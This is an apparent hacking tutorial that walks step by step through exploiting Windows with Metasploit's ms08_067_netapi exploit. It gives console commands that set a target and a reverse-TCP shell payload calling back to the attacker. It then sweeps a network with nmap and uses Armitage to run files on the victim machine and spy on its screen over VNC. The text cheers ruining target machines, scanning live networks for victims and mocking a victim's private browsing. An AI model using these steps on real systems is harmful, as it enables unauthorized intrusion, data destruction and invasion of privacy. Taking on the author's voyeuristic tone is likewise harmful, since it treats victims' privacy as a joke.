Busting Windows in Backtrack 5 R1
With Metasploit Framework 4.0

By Rahul Tyagi

Contact: - www.facebook.com/officialrahultyagi
Backtrack 5 R1

BackTrack is a very popular Live DVD Linux distribution that focuses on system and network penetration testing, featuring analysis and diagnostic applications that can be run right from the CD. BackTrack emerged from Whax and Auditor Security Collection distributions, using what was best from both in one complete solution.

BackTrack 5 is an extremely popular security oriented operating system. Dubbed Revolution, BackTrack 5 is based on Ubuntu 10.04 LTS (Lucid Lynx) and it's powered by Linux kernel 2.6.39.4, patched with all the relevant wireless injection patches. [1]

Metasploit Framework 4.0

The Metasploit® Framework is a free, open source penetration testing solution developed by the open source community and Rapid7. It is the de-facto standard for penetration testing with more than one million unique downloads per year and the world’s largest, public database of quality assured exploits. [2].

In Metasploit Framework 4.0 you can create your own exploits and then audit your website and network security by just launching the exploits along with the respective payloads, through its console mode or Armitage graphical user interface.

Image Source: - https://community.rapid7.com/servlet/JiveServlet/showImage/38-5410-1390/i-heart-shells.png
Vulnerabilities, Exploits & Payloads

Vulnerabilities

Image Source

In computer security, vulnerability is a weakness which allows an attacker to reduce a system's information assurance.[3]

In my words vulnerability is just to look for a loophole which is not supposed to be there. And in above image that is a BIG vulnerability.
Exploit

An exploit is a piece of software, a chunk of data, or sequence of commands that takes advantage of a bug.

In other words exploit is a way to cash the vulnerability which is exists on the target machine.
**Payload**

The eventual effect of a software virus that has been delivered to a user's computer.[4] The payload of a computer virus may include altering and deleting files, self-replicating itself through the Internet, or other destructive activity.[5]

The payload comes to play when the exploiting process is done. Where exploit helps us to overcome the machine and getting entry into the target, payload helps us to control machine through various methods by creating active sessions between target and the attacker machine.
In simple words with exploit we gain entry into the target machine and with payload we select the attack vectors that can be performed on the target machine.

Metasploit Framework 4.0 Console Mode

Metasploit framework 4.0 comes with many features like big jackpot ARMITAGE. So first I would like to discuss about the classic console mode client attack inside the network. First we have to open the console mode of Metasploit framework 4.0. Below image will help you to locate the msf console mode path.
As you click on msfconsole you will get something like below image

```
# covsay++
< metasploit >
/
\( oo \)
( || - - || )

metasploit v4.0.0-release [core:4.0 api:1.0]
+---+= 716 exploits - 361 auxiliary - 68 post
+---+= 226 payloads - 27 encoders - 8 nops
+---=[ svn r13462 updated 32 days ago (2011.08.01)

Warning: This copy of the Metasploit Framework was last updated 32 days ago. We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306
```

After getting the total number of exploits now we have to search for a windows based exploit called **netapi exploit**. The original name of the
exploit is "Microsoft Server Service Relative Path Stack Corruption".

Here in below fig we can see we got 4 types of exploits available in netapi category

I am here using the number four exploit (ms08-067_netapi) having great rank.
Now we have to select the RHOST ie. Setting the target machine’s IP address within the network.

Let us check the IP address of the target machine here

After getting the IP address lets set the RHOST

It’s time to set the LHOST where you want the control to be transferred or from which you are launching the attack.
Now here we are ready to set the required payload, I am using here the windows reverse tcp payload but you can use other depends upon your taste and requirement blind tcp is also an good option but still I suggest you should go for reverse_tcp payload.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.187.128
RHOST => 192.168.187.128
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.197.129
LHOST => 192.168.197.129
msf exploit(ms08_067_netapi) > 
```

Just exploit now and you will get something like below
Here we got what we looking for and if you know some simple dos commands you can purely ruin the target machine😊.
Exploiting Windows with Armitage

Armitage is a graphical cyber attack management tool for Metasploit that visualizes your targets, recommends exploits, and exposes the advanced capabilities of the framework.

Best Features available in Armitage

1. Graphical User Interface
2. Automatically recommend exploits
3. Exploit Browsing/ Custom Exploit
4. Exposes Metasploit's SOCKS proxy

Armitage is installed with the Metasploit 4.0.0 full install package. It has all of the prerequisites you'll need, including:

- Java 1.6.0+
- Metasploit 4.0.0+

A database and the information to connect to it. [6].
Starting the party with armitage

First go for start and follow the way towards Armitage.

Backtrack-> Exploitation Tools->Network Exploitation Tools->Metasploit Framework-> armitage

As you click Armitage you will get the follow menu options just click on start MSF
Here you are now connecting it will take 4 minutes max to bring you the Armitage interface.
As you can see we are now in Armitage ready to explode the things.

Here just follow the following steps to perform you attack.
Step 1: Adding Hosts

You can add hosts either manually or by just scanning through Nmap Quick Scan. I am showing the Nmap Scan which is pretty easy and quick in OS detection.

Now just fill the network range according to you

```
msf > db_nmap -sV -T5 -o -F --version-light 192.168.1.0/24

[+] Nmap: Starting Nmap 5.51SVM ( http://nmap.org ) at 2011-09-02 13:59 EDT
```
Have a beer to drink because this will take a lot time to scan so have patience.

After a lot time you will get your hosts scanned and here guess what I found in big network only SINGLE machine JACKPOT lolzz, just kidding I am on VMware so have only one vulnerable machine but if you are scanning whole live environment you will get alot.

**Step 2:- Attacking Vectors**

We find attacks through two options first by port and second by vulnerability. If you are attacking a network pc then you must stick with port because port attacks are much successful as compare to vulnerability attacks when it’s come to OS attacking.
Attacking analysis is complete now and now we are ready to fire the attacks available for the respective machine.

Here is Attack menu we have selected smb exploit named ms08_067_netapi memory corruption exploit same which we done in manual procedure.
Now here we are ready to launch the payload on the target machine which helps us in opening an active session.

As you can see above this machine is now owned purely and a new active session is now open through meterpreter 1.
Let’s see the hard drive of the victim computer and leave a signature there.

And
We have three options here now we can upload any data, make directory and even delete also, and the worst part is that we can even execute any file on victim machine like RAT and other malicious executable applications to make system unstable.

Now let try to get the remote connection on the victim machine through VNC.

As I click on Run VNC below we have the remote desktop connection of the victim machine and now that is what we were looking for.

Lets see what the victim is doing on his computer live
Great our victim is looking for the tips to how to kiss her girl friend may be :P no no way the minute the click is on how to kiss a guy man :P The victim seemed to be a girl JACKPOT!! 😊
Hard Facts that they don’t reveal

May be at first sight it seemed very easy to exploit windows platform but where am concerned we cannot exploit windows machine if its firewall and other security aspects are on. I tried to exploit target machine with firewall on, but exploit fails each time. Before writing this paper I crossed through many papers on this exploiting but no one showed or reveal that the exploit will only comes to play when the target computer is having no security countermeasure like no updated security and firewall status off. May be I am wrong in some cases but this is the truth, you better try it and let me know too☺.

About Author

Rahul Tyagi is a Ethical Hacking Corporate Trainer, Having 4 year experience in the field of cyber security and ethical hacking. Working as Brand Ambassador in TCIL-IT Chandigarh, and Vice President of Cyber Security & Anti-Hacking Organization India.